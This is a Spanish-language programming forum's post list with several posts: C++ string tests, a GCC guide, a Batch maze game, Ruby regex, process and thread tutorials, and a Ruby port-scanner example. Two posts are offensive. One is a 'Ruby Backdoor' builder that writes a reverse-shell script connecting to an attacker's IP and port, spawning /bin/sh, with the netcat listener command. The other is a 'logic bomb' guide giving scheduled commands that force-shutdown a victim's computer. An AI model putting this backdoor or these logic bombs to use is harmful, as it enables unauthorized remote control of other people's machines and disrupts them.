     <<endl<<"Resultado de s1>=s2: " << (s1>=s2 ? "verdadero" : "falso")
     <<endl<<"Resultado de s1<=s2: " << (s1<=s2 ? "verdadero" : "falso");

     //prueba operador sobrecargado (!)
     cout<<endl<<endl<<"Probando !s3: ";
     if(!s3){
          cout<<"s3 esta  vacio, asignando s1 a s3";
          s3=s1;
          cout<<"ns3: " << s3;
        }

     //probando operador sobrecargado de concatenacion
     cout<<endl<<endl<<"Resultado de s1+=s2: "<<endl;
     s1+=s2;
     cout<<"s1: " <<s1;
     //probando operador sobrecargado []
     cout<<", s1[8]= " <<s1[8];

     //prueba del operador sobrecargado ()
     cout<<endl<<endl<<"Cadena resultante de s1(5,6): " <<s1(5,6) ;

     //prueba el constructor de copiado
     string *s4= new string(s1);
     cout<<endl<<endl<<"Constructor copia para *s4: " <<*s4;

     //prueba del operador de asignacion =
     cout<<endl<<endl<<"Asignando s3 a *s4, *s4: ";
      *s4=s3;
     cout<< *s4
     <<endl<<"Longitud de *s4: " <<s4->longitud();

     getch();
}
#5
Este manual va dirigido especialmente a las personas que usen GNU/Linux, ya que dicho compilador va incluido con el sistema operativo. Hay que recalcar que este manual no esta ligado a ninguna distribución en particular de GNU/Linux, ya que funciona igual en todas las distros, aunque yo particularmente he usado la distro Mandriva 2009.

Antes de nada, advertir que éste no es un manual de programación en si, ni un manual de C/C++, solo una pequeña guía de uso del GCC.

Para empezar, obviamente después de saber la tarea a realizar y realizar el debido análisis de cómo hacer el programa, hay que elegir si hacerlo en modo texto o en modo gráfico. Yo personalmente creo que debido a que la compilación se va a realizar con la interfaz de comandos, lo haría en modo texto; aunque claro, con un editor de textos como Emacs o Kwrite desde la interfaz gráfica es mas cómodo.


EN MODO TEXTO C Y C++

Para empezar a escribir el código, primero hay que abrir el editor de textos. Para ello, escribimos lo siguiente:

vi nombre_de_archivo.c

Y ya podemos empezar a escribir el código del programa que vayamos a crear. Por ejemplo, queremos crear un programa en el cual se introducen un límite numérico inferior y otro límite numérico superior y que se muestren los números que se encuentran entre dichos límites. Para ello escribimos esto:
Código: c
#include <stdio.h>
main()
{
    int a, b, c = 1;
    printf("Introduzca el limite menor:");
    scanf("%d", &a);
    printf("Introduzca el limite mayor:");
    scanf("%d", &b);

    if(a < b)
       while(a < b-1)
       {
               a++;
               printf("%d", a);
       }

    else
    {
         a = c;
         b = a;
         c = b;

         while(a < b)
         {
              a++;
              printf("%d", a);
         }
    }
}

Una vez escrito, salimos del editor guardando el archivo (no olvidar que la instrucción para salir es :wq)
Ya guardado, procedemos a compilarlo con la siguiente instrucción

gcc nombre_de_archivo.c

Hay que tener en cuenta que ésta instrucción solo compila, para que además cree el ejecutable, hay que escribir esto:

gcc nombre_de_archivo.c -o nombre_ejecutable

Cuando ya esté compilado y se haya creado el ejecutable (siempre y cuando no haya habido errores de compilación), para abrir el ejecutable hay que escribir lo siguiente:

./nombre_ejecutable

Y así ya está todo hecho.

Ahora, para hacerlo en C++ es casi igual, solo hay que cambiar ciertos detalles.
Para empezar, cuando abramos el editor vi, hay que escribir lo siguiente:

vi nombre_de_archivo.cpp

Así se indica que el código va a ser de C++. Poniendo como ejemplo otra vez el programa de los límites, el código sería:
Código: c
#include <iostream>
using namespace std;
main()
{   
    int a, b, c = 1;
    cout << "Introduzca el limite menor:";
    cin >> a;
    cout << "Introduzca el limite mayor:";
    cin >> b;

    if (a < b)
        while(a < b -1)
        {
            a++;
            cout << a << "";
        }

    else
    {
        a = c;
        b = a;
        c = b;

        while(a < b)
        {
            a++;
            cout << a << "";
        }
    }
}

Cerramos el editor de texto guardando lo escrito. Para compilar y crear el ejecutable, se escribe lo siguiente:

g++ nombre_de_archivo.cpp -o nombre_ejecutable

Y, como en el caso anterior, para ejecutar el programa se ha de escribir la siguiente instrucción:

./nombre_ejecutable

EN MODO GRÁFICO C Y C++

Si te decides a hacerlo en modo gráfico, tienes 2 opciones.

La primera es bajarse un IDE para Linux, como es Eclipse o Anjuta.

La segunda opción es usar el editor de textos Emacs (que viene en todas las distribuciones GNU/Linux) o el Kwrite (éste editor generalmente viene en los entornos KDE, o por lo menos en el de Mandriva 2009)

Ahora bien, si te decantas por escribir el código con el editor Emacs por ejemplo, para compilar el código tienes que abrir una terminal de consola y escribir la instrucción de compilación (gcc.... o g++...)
#6
Zona Webmaster / [JavaScript] Tutos en internet
Abril 09, 2010, 03:31:36 PM
El que quiera colaborar que publique! se le ira agregando a la lista y se borrara el post y tambien se le pondra un parantesis con el nombre de quien lo dio!  ;)

    * No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    * No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    * No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    * No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    * No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    * No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    * No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
#7
Batch - Bash / Guia para crear Bombas logicas en Batch
Febrero 24, 2010, 08:09:31 PM
Esta es una guia para novatos asi que solo voy a explicar la base de como crear las bombas logicas en batch y algunas cosas que se deben saber...

bombas de tiempo:se activan en fechas particulares o un número determinado de veces
bombas logicas:se activan cuando la computadora cumple una serie de requisitos especificados por su programador (ej:teclado,instalacion o inicio de sesion)

Que lenguaje de programacion usaremos?
ninguno ya que usaremos un archivo de procesamiento por lotes llamado batch (o .bat) este ya se encuentra en el sistema operativo de windows para eso creamos un bloc de notas (inicio,ejecutar y tecleas notepad.exe) colocas el codigo de la bomba y lo guardas en .bat (clip en archivo,guardar como,tecleas bomba.bat y clip en guardar)

Es batch un lenguaje de programacion?
no,ya que es un archivo de procesamiento por lotes que contiene un conjunto de comandos DOS

Sobre las tareas programadas:
Para programarle el tiempo a un archivo ve a panel de control,tareas programadas,agregar tarea programada,siguiente,examinar,seleccinas la localizacion del archivo,abrir,seleccionas cuando quiere que realice la tarea,siguiente,seleccionas la hora y la fecha,siguiente,colocas el nombre de usuario y contraseña y clip en finalizar (si te aparece un mensaje de error de 0x80070005:Acceso denegado es porque el nombre
de usuario y contraseña es incorrecto y el archivo no se ejecutara)...Ahora una bomba de tiempo no hay que hacerle todo ese proceso ya que eso va en su codigo sin necesidad de colocar nombre de usuario o password

sobre el DOS:como el batch usa los comandos del DOS puedes dejar tareas programadas desde el DOS (por si no quieres ejecutar el archivo en la pc de la victima) un ejemplo es ir al DOS (clip en inicio,ejecutar,tecleas cmd y clip en aceptar) y teclear: AT 18:40 msg * Esta es una prueba (asi le aparecera un mensaje a esa hora) aparte de eso puedes ver los comandos del DOS por ejemplo para ver el de las tareas programadas tecleas at/ para ver los comandos de shutdown tecleas shutdown (tecnica usada en la bomba 7)

configuraciones del reloj:en algunos casos las configuraciones del reloj en las computadoras son diferentes por ejemplo unas usan hora militar y otras usar am o pm en ese caso la bomba de tiempo tiene que ser configurada de acuerdo al tipo de hora de la computadora...

Ver el codigo de la bomba o editarlo:clip derecho a la bomba y luego editar

-------------------------------COMENZAMOS----------------------------------------------
Crea un un bloc de notas (inicio,ejecutar y tecleas notepad.exe) colocas el codigo de la  bomba y lo guardas en .bat (clip en archivo,guardar como,tecleas bomba.bat y clip en guardar)

Codigos de las bombas:
1.Codigo de la bomba logica que apaga la computadora de la victima:
AT 18:43 SHUTDOWN -s -f -t 00

2.Codigo de la bomba logica que deja un mensaje a la victima:
AT 18:40 msg * Esta es una prueba

Autor: W-Root
#8
Batch - Bash / Minijueguito en Batch [Maze Madness]
Febrero 24, 2010, 12:31:29 AM
Bueno es un juego simple de Batch, el objetivo es hacer que la bola llegue a la X usando el teclado
Es sencillito pero entretenido por un ratico XD en fin a mi me gusto..No te caigas ;D
aqui esta el Code
Código: text
@echo off
@title Maze Madness
@mode con cols=22 lines=20
::Batch Game Maze Madness
::by Splendit
::Based On SmartGenius Batch Game Logics

setlocal enabledelayedexpansion
If Not Exist Keyboard.exe (Call :Keyboard)

:Vars
Set LimX=16
Set LimY=16
Set IniX=0
Set IniY=0
Set MovX=0
Set MovY=0
Set "Bound=Û"
Set "Space= "
Set "Player=O"
Set "Limit=°"
Set "Exit=X"

:Init
For /l %%a in (%IniX%,1,%LimX%) do (
For /l %%b in (%IniY%,1,%LimY%) do (
Set X%%aY%%b=%Limit%))
Call :Nivel_1
Set "X4Y6=%Player%"
Set Curpos=X4Y6
Goto :Graphic

:Graphic
Call :Clear
For /l %%d in (%IniX%,1,%LimY%) do (
For /l %%e in (%IniX%,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
Echo.
For /l %%f in (0,1,%LimY%) do (echo.  !Lin_%%f!)
Echo.
If Defined MovL (
Ping -n 1 localhost >nul
Call :%MovL% "%CurPos%"
Goto :Graphic
) else (
Keyboard
)
If "%errorlevel%"=="77" (call :MovX "+" "%CurPos%")
If "%errorlevel%"=="75" (call :MovX "-" "%CurPos%")
If "%errorlevel%"=="80" (call :MovY "+" "%CurPos%")
If "%errorlevel%"=="72" (call :MovY "-" "%CurPos%")
If "%errorlevel%"=="88" (pause&exit)
If "%errorlevel%"=="120" (pause&exit)
Goto :Graphic

:MovY
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
if "%%q"=="%LimY%" Goto :Eof
Set /a MovY=%%q%~11
Call Set NMovY=%%X%%pY!MovY!%%
If "!NMovY!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovY!"=="%Exit%" (Goto :Win)
If "!NMovY!"=="%Limit%" (Goto :Lose)
Set X%%pY!MovY!=%Player%
Set CurPos=X%%pY!MovY!
Set MovL=MovY "%~1"
Set "%~2=%Space%")
Goto :Eof

:MovX
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
If "%%p"=="%LimX%" Goto :Eof
Set /a MovX=%%p%~11
Call Set NMovX=%%X!MovX!Y%%q%%
If "!NMovX!"=="%Bound%" (Set "MovL="&Goto :Eof)
If "!NMovX!"=="%Exit%" (Goto :Win)
If "!NMovX!"=="%Limit%" (Goto :Lose)
Set "X!MovX!Y%%q=%Player%"
Set "CurPos=X!MovX!Y%%q"
Set MovL=MovX "%~1"
Set "%~2=%Space%")
Goto :Eof

:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Win
Cls
Echo.
Echo.   Felicitaciones
Echo.
Echo.    Completaste
Echo.     El Nivel
Echo.
Echo.
Pause >nul
Exit

:Lose
Cls
Echo.
Echo.    Has Perdido
Echo.
Echo.  Intenta de Nuevo
Echo.
Echo.
Set "MovL="
Pause >nul
Goto :Vars

:Nivel_1
For %%a in (X1Y1,X1Y2,X1Y4,X1Y7,X1Y8,X1Y11,X2Y1,X2Y14,X2Y15,X3Y1,X3Y3,X3Y5,X3Y10,X3Y12,X4Y1,X4Y7,X5Y9,X5Y10,X5Y11,X6Y5,X6Y9,X6Y11,X6Y15,X7Y1,X7Y5,X7Y11,X7Y15,X8Y3,X8Y11,X8Y15,X9Y3,X9Y7,X9Y11,X9Y15,X10Y11,X10Y15,X11Y5,X11Y10,X11Y11,X11Y15,X12Y1,X12Y2,X12Y8,X12Y13,X13Y3,X13Y6,X13Y7,X13Y8,X13Y9,X13Y13,X14Y1,X14Y15,X15Y3,X15Y4,X15Y7,X15Y11,X15Y12,X15Y14,X15Y15) do (Set %%a=%Bound%)
For %%a in (X1Y3,X1Y5,X1Y6,X1Y9,X1Y10,X1Y12,X1Y13,X1Y14,X1Y15,X2Y2,X2Y3,X2Y4,X2Y5,X2Y6,X2Y7,X2Y8,X2Y9,X2Y10,X2Y11,X2Y12,X2Y13,X3Y2,X3Y4,X3Y6,X3Y7,X3Y8,X3Y9,X3Y11,X3Y13,X3Y14,X3Y15,X4Y2,X4Y3,X4Y4,X4Y5,X4Y8,X4Y9,X4Y10,X4Y11,X4Y12,X4Y13,X4Y14,X4Y15,X5Y1,X5Y2,X5Y3,X5Y4,X5Y5,X5Y6,X5Y7,X5Y8,X5Y12,X5Y13,X5Y14,X5Y15,X6Y1,X6Y2,X6Y3,X6Y4,X6Y6,X6Y7,X6Y8,X6Y10,X6Y12,X6Y13,X6Y14,X7Y2,X7Y3,X7Y4,X7Y6,X7Y8,X7Y9,X7Y10,X7Y12,X7Y13,X7Y14,X8Y1,X8Y2,X8Y4,X8Y5,X8Y6,X8Y7,X8Y8,X8Y9,X8Y10,X8Y12,X8Y13,X8Y14,X9Y1,X9Y2,X9Y4,X9Y5,X9Y6,X9Y8,X9Y9,X9Y10,X9Y12,X9Y13,X9Y14,X10Y1,X10Y2,X10Y3,X10Y4,X10Y5,X10Y6,X10Y7,X10Y8,X10Y9,X10Y10,X10Y12,X10Y13,X10Y14,X11Y1,X11Y2,X11Y3,X11Y4,X11Y6,X11Y7,X11Y8,X11Y9,X11Y12,X11Y13,X11Y14,X12Y3,X12Y4,X12Y5,X12Y6,X12Y7,X12Y9,X12Y10,X12Y11,X12Y12,X12Y14,X12Y15,X13Y1,X13Y2,X13Y4,X13Y5,X13Y10,X13Y11,X13Y12,X13Y14,X13Y15,X14Y2,X14Y3,X14Y4,X14Y5,X14Y6,X14Y7,X14Y8,X14Y9,X14Y10,X14Y11,X14Y12,X14Y13,X14Y14,X15Y1,X15Y2,X15Y5,X15Y6,X15Y8,X15Y9,X15Y10,X15Y13) do (Set %%a=%Space%)
Set "X7Y7=%Exit%"
Goto :Eof

:Keyboard
Echo. Cargando...
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof

Autor:Splendit
Saludos!
#9
Ruby / Expresiones regulares
Febrero 23, 2010, 11:41:57 PM
En este capitulo explicare el uso de las expresiones regulares en Ruby. Es una de las cosas que menos me gustan, ya que puede resultar algo lioso, pero que nos puede ser muy util codeando y nos puede ahorrar muchas linias de programa.

Se utilizan para comprobar si un texto (string ) contiene el patron que nosotros establezcamos. Es decir, comprobar si determinada variable string contiene el patron que nosotros queramos.

Las expresiones regulares se encierran entre //, y el operador para comprobar 'si contiene' es =~

Veamoslo con ejemplos:
Código: text
irb
irb(main):001:0> cadena = "capitulo de expresiones regulares"
=> "capitulo de expresiones regulares"
irb(main):002:0> if cadena =~ /capitulo/
irb(main):003:1> ^C
irb(main):003:0>
irb(main):004:0* exit
protos@diego-desktop:~$ irb
irb(main):001:0> cadena = "Esto es el capitulo de expresiones regulares"
=> "Esto es el capitulo de expresiones regulares"
irb(main):002:0> if cadena =~ /guia/
irb(main):003:1> puts 'Es una guia'
irb(main):004:1> elsif cadena =~ /capitulo/
irb(main):005:1> puts 'es un capitulo'
irb(main):006:1> end
es un capitulo

Como vemos creamos una cadena, y comprobamos si contiene en primera instancia, guia y en segunda capitulo, como no contiene el patro 'guia' pero si el patron 'capitulo', pues se efectuara lo del elsif...
Hasta aqui sencillo ;)

Algunas veces nos interesara buscar patrones que no son exactos, por ejemplo, no me interesa saber si la string contiene especificamente 'capitulo', sino cualquier palabra que empiece por c y acabe en o ya me sirve...

Antes de resolver ese problema, os dejo la siguiente tabla, son unas abreviaciones que nos ofrecen las expresiones regulares:
expresion          significado
.    cualquier caracter
[]    especificacion por rango. P.ej: [a-z], una letra de la a, a la z
\w    letra o numero; es lo mismo que [0-9A-Za-z]
\W    cualquier caracter que no sea letra o numero
\s    caracter de espacio; es lo mismo que [ \t\n\r\f]
\S    cualquier caracter que no sea de espacio
\d    numero; lo mismo que [0-9]
\D    cualquier caracter que no sea un numero
\b    retroceso (0x08), si esta dentro de un rango
\b    limite de palabra, si NO esta dentro de un rango
\B    no limite de palabra
*    cero o mas repeticiones de lo que le precede
+    una o mas repeticiones de lo que le precede
$    fin de la linea
{m,n}    como menos m, y como mucho n repeticioes de lo que le precede
?    al menos una repeticion de lo que le precede; lo mismo que {0,1}
()    agrupar expresiones
||    operador logico O, busca lo de antes o lo despues


(encontrareis mas expresiones asi en la documentacion :P)

Estos son las expresiones especiales, que nos sirven para abreviar, sintetizar, o encontrar rangos, repeticiones etc... En el caso de que queramos buscar por ejemplo el signo + en una string, resulta que si ponemos + entre // lo detectar? como expresion especial y buscar? una o mas repeticiones de lo que le precede...Para solucionar est, cuando queramos encontrar cualquier expresion de las de la tabla, no su significado, lo escaparemos con \
Ejemplo:
Código: text
/s+a/ buscar? ssa o sssa, sssssa, ssssssa, etc
/s\+a/ buscar? s+a.

Es importante saberse las abreviaciones, ya que nos seran muy utiles para las expresiones regulares, si alguien no entiende alguna expresion de las anteriores, que pregunte porfavor :)

Y es aqui donde se complica la cosa, ya que con tantas expresiones, a veces las expresiones regulares se hacen inentendibles, o se ven muchos simbolos y lian a uno....xD, esto es muy importante saberse los simbolos y practicar.

Vamos a ver otro ejemplo sencillito:
Código: text
cadena = "perro perra paco poco poca pato mato peto pete mete sota"
if cadena =~ /p\w*o\s/
puts "El string contiene algo que empieza por p y acaba por o"
end

Analizemos el patron: /p\w*o\s/
Primero una p, luego cualquier caracter (\w) repetido las veces que sea (*), luego una o, y luego un espacio (\s)
Con eso concordaria perro, porro, paarrrooruweqno , etc....


VARIABLES $

Este tipo de variables solo surgen cuando agrupamos alguna expresion con (), pongamos un ejemplo y lo veremos:
Sigamos con el mismo ejemplo tonto de antes
Código: text
cadena = "perro"
if cadena =~ /p(\w+)o/
puts $1
end

Y esto nos dara ''err''
Explicacion: Hemos buscado algo que empiece por p, contenga varias vececes cualquier caracter y acabe por o, pero hemos puesto entre parentesis lo que haya entre la p y la o. Las variables $ apuntan a las agrupaciones de expresiones (a lo que hayamos puesto entre () ), por eso nosotros ponemos $1 y nos devuelve lo que en nuestra cadena correspondia a (\w+). Si tuvieramos dos expresiones agrupadas entre parentesis, $1 apuntaria a la primera agrupacion, $2 a la segunda, etc....

Hmm esto igual es algo lioso, si no se entiende preguntad que es que me explico mal xD.
MATCH
Bueno, hemos visto que para comprobar si una string contiene un patron, lo haciamos con //, realmente se puede hacer de otra manera tambien:
Código: text
var=patron.match(string)

Ejemplo:
Código: text
var=/a/.match("esto contiene la a?")

Si no hay coincidencias se te devolvera un nil
Si hay coincidencia tendremos un objeto MatchData apuntado por la variable var.
Este objeto almacenara mucha info, de entrada un true booleano porque ha hayado coincidencias, y luego almacenara tambien
en que caracter del string empieza la coincidencia, cuanto ocupa la coincidencia del string, ademas de las $ entre otras cosas, para ver los metodos de la clase MatchData que nos permiten hacer esas cosas acudimos a la pagina de la documentacion oficial porque esta muy bien hecho y a mi no me apetece repasar todos los metodos:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Y con esto voy acabando el capitulo, pondre ejercicios de expresiones regulares si alguien quiere y no le resulta insoportable, casi casi son como jeroglificos, con lo de ejercicio me refiero a algo asi:

Daria coincidencias
string = " me gusta el basket"
patron = /\s(\S\D)\s(g\w*a)\s(el).*/

De entrada podeis contestar aqui mismo este...si quereis mas los preparo ;)
Bibliografia:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#10
Ruby / Back door en Ruby
Febrero 23, 2010, 11:28:53 PM
Código: ruby
#Ruby Backdoor Server Maker
#N0t Group/RC Team
#Thanks to pRotos for the help.

puts "
___________________________________________________________

             -->RUBY BACKDOOR 0.1<--
___________________________________________________________"

print "Siga los pasos del asistente para configurar el servidor.\n"
print "Teclee la direcci?n IP o dominio no-IP al que desea que se conecte RUBY BACKDOOR 0.1\n"
ip=gets.chomp
print "Teclee a continuacion el puerto al que desea utilizar.\n"
port=gets.chomp
print "Espere un momento por favor, el servidor esta siendo procesado.............\n"
print "Procesando 25%.......................................\n"
print ".................Procesando 50%............................\n"
print ".................................Procesando 75%.................\n"
print ".................................................Procesando 100%\n"
print "Pulse la tecla <Enter> para continuar...\n"
ton=gets.chomp
fil=File.new("server", "w")
fil.write("require 'socket'
begin
sock=TCPSocket.new(\"#{ip}\", \"#{port}\")
rescue Errno::ECONNREFUSED
end
sock.print(\"####################CONEXION ESTABLECIDA###################\n\")
sock.print(\"\nTeclea <exit> para finalizar la conexion.\n\")
   $stdout.reopen(sock)
   $stdin.reopen(sock)
system('/bin/sh')
sock.print(\"\n####################CONEXION FINALIZADA####################\n\")")
fil.close
File.rename('server', 'server.rb')
print "Su servidor ha sido creado con exito. ;-)\n"

Nota: Para dejar el netcat a la escucha:
Código: text
nc -vv -l -p 0000


Donde 0000 es el puerto que es asignado previamente ustedes.
#11
Ruby / RubyGame (Libreria para juegos)
Febrero 23, 2010, 11:26:11 PM
Os presento otra de las librerias que implementa Ruby para codear pequeños, ( o no tan pequeños) videojuegos.
Esta inspirada en pygame, por tanto, uniendo la filosofia de pygame a la de ruby, nos resulta una libreria de alto nivel, que premia la diversion mientras se codea; eso se traduce en que al que programa se le hace mas ameno ir escribiendo code, y puede producir con mas ganas juegos mas divertidos.

Si algun interesado en Ruby, y en especial en la programacion de videojuegos le apetece profundizar un poco el tema, estaria genial un tutorial o un post con los primeros pasos en esa libreria para que los demas vean como funcionan y empiecen a crear pequeños videojueos. Si no, yo cuando tenga tiempo intentara hacer algo, pero son demasiadas las cosas que llevo...

Aqui les dejo el link de su pagina oficial, donde podreis encontrar documentacion, descarga, info sobre el proyecto, etc (todo en ingles, ofcourse)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Y aqui un enlace a unas entradas de un blog donde encontrareis 4 capitulos para empezar con rubygame, muy recomendable lectura:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
(los 4 capitulos estan en el mismo link, el primero abajo del todo Gi&ntilde;ar. Este es un blog muy interesante, si os apetece daros una vuelta mas ademas de ver solo esto de RubyGame Gi&ntilde;ar
#12
Ruby / Procesos en Ruby
Febrero 23, 2010, 11:23:02 PM
Hemos visto ya como crear hilos de nuestros propios procesos en Ruby. Sin embargo, ?C?mo har?amos para crear un proceso ajeno a nuestro script? Ruby implementa una serie de clases y m?todos que pueden ser utilizados para gestionar dichos procesos. Veamos pues como hacer esto:

CREAR PROCESOS:

En Ruby para invocar un proceso, podemos utilizar system. System, lo que har?a ser?a llamar a la consola del sistema operativo en el que te encuentres y ejecutar los comandos que t? le quieras pasar. Si el comando se ha encontrado y ha sido ejecutado se mostrar? true, en caso contrario, false. Para probar esto, abrid el interprete interactivo de Ruby poniendo "irb" en vuestra consola de comandos y jugad:
Código: text
irb(main):001:0> system('ls') #pasamos el comando ls para ver los directorios y archivos del directorio en el que nos encontramos.
Biblioteca         Programaci?n          Universidad
hilos.rb         Ruby             vN0tdoser.rb
md5.pl            ruby-pcap-0.6.tar.gz     Windows_uE_SP3_2008.1_Bj-Guanaco
nautilus-computer.desktop  rubyscript2exe-0.5.3.rb
pcap            so.rb
=> true #Nos devuelve "true".
irb(main):002:0> system('cd "Universidad"')
=> true
irb(main):003:0> system('ruby hilos.rb') # Nos ejecuta el c?digo en Ruby.
21 abierto en www.code-makers.es
21 abierto en www.google.com
21 abierto en www.youtube.com
80 abierto en www.code-makers.es
80 abierto en www.google.com
80 abierto en www.youtube.com
81 abierto en www.code-makers.es
81 abierto en www.google.com
81 abierto en www.youtube.com
=> true
irb(main):004:0> system('pedrolo') # Intentamos pasar el m?todo "pedrolo".
=> false #Nos devuelva false, ya que no existe dicho m?todo.


JUGAR CON LOS PROCESOS:

Esto est? bien para casos sencillos, en los que no se requiera mucha interacci?n con el proceso. Cabe decir adem?s que el inconveniente de usar system, es que la salida de tu comando va al mismo lugar que la salida de tu programa (es decir, que al poner por ejemplo: system('ls'), lo que vamos a obtener va a ser "true" y no el conjunto de archivos y carpetas existentes en el directorio. Adem?s, muchas veces necesitamos tener m?s control sobre estos procesos y obtener y enviar datos con el proceso, es decir, que haya un intercambio. Para esto tenemos el m?todo IO.popen. El m?todo IO.popen ejecuta un comando como un subproceso y conecta las salida y entrada est?ndar al objeto Ruby IO. Si quisiesemos leer la salida del programa podr?amos hacerlo mediante la lectura del objeto IO. Vamos a ver un ejemplo, para ello, os animo a que ejecut?is vuestra consola interactiva por medio del comando "irb":
Código: text
irb(main):001:0> a=IO.popen('ls')
=> #<IO:0xb7c22c2c>
irb(main):002:0> a=a.read
=> "a.sh\nBiblioteca\nfirefox-3.0.3.tar.bz2\nhilos.rb\nmariposa.jpg\nmd5.pl\nMetamorfosis.odt\nMetamorfosis.rb\nnautilus-computer.desktop\nPantallazo.png\npcap\nPreMetamorfosis.odp\nprocesos.txt\nProgramaci\303\263n\nrana.jpg\nRespuestas.txt\nRuby\nruby-pcap-0.6.tar.gz\nrubyscript2exe-0.5.3.rb\nsniffer.rb\nSoluciones.rb\nso.rb\nUniversidad\nvN0tdoser.rb\nWindows_uE_SP3_2008.1_Bj-Guanaco\n"
irb(main):003:0> a=a.gsub("\n","   ")
=> "a.sh   Biblioteca   firefox-3.0.3.tar.bz2   hilos.rb   mariposa.jpg   md5.pl   Metamorfosis.odt   Metamorfosis.rb   nautilus-computer.desktop   Pantallazo.png   pcap   PreMetamorfosis.odp   procesos.txt   Programaci\303\263n   rana.jpg   Respuestas.txt   Ruby   ruby-pcap-0.6.tar.gz   rubyscript2exe-0.5.3.rb   sniffer.rb   Soluciones.rb   so.rb   Universidad   vN0tdoser.rb   Windows_uE_SP3_2008.1_Bj-Guanaco   "

sto muestra la simplicidad con la que podemos manejar procesos en Ruby a trav?s de tuber?as. Primero se abre la tuber?a, se escribe una orden y se lee la respuesta.

M?s documentaci?n sobre la clase IO:

Clase IO (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

AUTOR: sh4van3
#13
Ruby / Hilos en Ruby
Febrero 23, 2010, 11:19:55 PM
HILOS

Ruby permite poder realizar varios procesos al mismo tiempo. Esto lo hace mediante los hilos. Los hilos son una manera rapida y eficiente para aumentar el paralelismo en nuestros programas. Vamos pues a crear hilos en Ruby. Comenzar? con un sencillo ejemplo y luego pasar? a uno mas util.

CREAR HILOS:

Los hilos se crean con la llamada a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

Código: ruby
array=['hola', 'esto', 'es', 'un', 'ejemplo'] # Creamos un array de 5 elementos.

hilo=Array.new # Creamos un array para los hilos. Seria de 5 elementos y cada uno de ellos sera un hilo(Esto lo veremos a continuacion ;))


for element in array #creamos un bloque
   hilo<<Thread.new(element){|x| # Creamos un hilo para cada elemento y lo introducimos en el array hilo.
   puts x # Hacemos que imprima por pantalla x
   }
end

hilo.each{|z| z.join} # Con este ultimo comando, nos aseguramos de que los hilos no mueran antes de que finalize el programa principal (luego se explicara esto mas detenidamente).


Esto dara como resultado:
Citarhola
esto
es
un
ejemplo
Esto lo podemos hacer por medio del "each". Por ejemplo, el code anterior con "each" seria asi:
Código: ruby
array=['hola', 'esto', 'es', 'un', 'ejemplo']

hilo= Array.new

array.each{|element|
   hilo<<Thread.new(element){|x|
   puts x
   }
}

hilo.each{|ele| ele.join}

Ahora vamos a pasar a hacer una aplicaci?n algo m?s compleja. Vamos a suponer un scanner de puertos que escanee de forma simultanea 3 dominios en un puerto determinado. Seria asi:
Código: ruby
require 'socket'

paginas=['www.code-makers.es', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 p?ginas.

hilo=Array.new

for pag in paginas
   hilo<<Thread.new(pag){|x|
   begin
   TCPSocket.new(x, 21)
   rescue
   puts "21 cerrado en #{x}"
   else
   puts "21 abierto en #{x}"
   end
   sleep 1 #Damos un peque?o espacio de tiempo para que se termine el proceso.
   begin
   TCPSocket.new(x, 80)
   rescue
   puts "80 cerrado en #{x}"
   else
   puts "80 abierto en #{x}"
   end
   sleep 1
   begin
   TCPSocket.new(x, 81)
   rescue
   puts "81 cerrado en #{x}"
   else
   puts "81 abierto en #{x}"
   end
   }
end

hilo.each{|ele| ele.join}

Esto dara como resultado:
Citar21 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
21 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
21 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
81 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
81 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.
81 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta abierto.

MANIPULAR HILOS:

Existen diversos metodos de la clase Thread que sirven para controlar los hilos:
Código: ruby
Thread.current # Nos devuelve el hilo que esta siendo ejecutado "<Thread:0x401bdf4c run>"
Thread.list # Nos devuelve un array con los objetos para cada hilo diciendonos si estan corriendo o parados.
   #<Thread:0x401b3e84 sleep>
   #<Thread:0x401b3f38 run>
   #<Thread:0x401b3fb0 sleep>
   #<Thread:0x401bdf4c run>
hilo.status # Nos devuelve el estatus del hilo. "run", "sleep", "aborting"
Thread.kill(hilo) # Acaba con el proceso.
Thread.start{|x| bloque} # Igual que Thread.new.
Thread.stop # Deja durmiendo al hilo pero no lo mata.
hilo.join # Cuando un programa en Ruby termina, los hilos en ejecuci?n se matan independientemente de su estado.
